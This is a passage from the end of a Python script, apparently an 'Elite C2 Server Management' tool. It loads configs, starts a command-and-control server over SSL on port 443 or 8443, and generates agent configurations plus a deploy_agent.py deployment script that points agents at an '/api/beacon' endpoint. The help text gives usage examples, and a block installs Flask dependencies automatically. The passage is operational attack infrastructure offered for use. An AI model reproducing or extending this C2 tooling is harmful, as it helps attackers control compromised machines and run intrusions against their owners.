if os.path.exists('server_config.json'):
with open('server_config.json', 'r') as f:
config = json.load(f)
else:
config = generate_server_config()
# Create server
server = C2Server(config)
# Setup SSL context
ssl_context = None
if args.ssl_cert and args.ssl_key:
if os.path.exists(args.ssl_cert) and os.path.exists(args.ssl_key):
ssl_context = (args.ssl_cert, args.ssl_key)
elif os.path.exists('server.crt') and os.path.exists('server.key'):
ssl_context = ('server.crt', 'server.key')
# Generate web interface if requested
if args.generate_web and not os.path.exists('dashboard.html'):
create_web_interface()
# Start server
server.start(host=args.host, port=args.port, ssl_context=ssl_context)
elif args.generate_agent and args.url:
# Generate agent configuration
print(f"[+] Generating agent configuration for C2: {args.url}")
# Generate config
config = generate_agent_config(args.url, args.api_key)
# Save config
with open('agent_config.json', 'w') as f:
json.dump(config, f, indent=2)
# Create deployment script
create_agent_deployment_script(args.url, args.api_key)
print("\n[+] Agent configuration generated!")
print(f" Config file: agent_config.json")
print(f" Deployment script: deploy_agent.py")
print(f"\n C2 Endpoint: {args.url}/api/beacon")
if args.api_key:
print(f" API Key: {args.api_key}")
elif args.generate_web:
# Generate web interface only
create_web_interface()
else:
print("""
Elite C2 Server Management
==========================
Commands:
--setup Setup new C2 server with SSL certificates
--start Start the C2 server
--host <ip> Server host (default: 0.0.0.0)
--port <port> Server port (default: 443)
--generate-agent --url <url> Generate agent config for C2 URL
--api-key <key> API key for agent authentication
--generate-web Generate web interface dashboard
--ssl-cert <path> SSL certificate path
--ssl-key <path> SSL key path
Examples:
1. Setup new C2 server:
python c2_server.py --setup --generate-web
2. Start server:
python c2_server.py --start --host 0.0.0.0 --port 8443
3. Generate agent config:
python c2_server.py --generate-agent --url https://your-c2.com --api-key your-secret-key
4. Start with custom SSL:
python c2_server.py --start --ssl-cert /path/to/cert.crt --ssl-key /path/to/key.key
""")
if __name__ == "__main__":
# Check for required dependencies
if not HAS_FLASK:
print("Installing required dependencies...")
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'flask', 'flask-cors', 'flask-limiter'])
# Reload imports
from flask import Flask, request, jsonify, make_response, abort, Response
from flask_cors import CORS
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
main()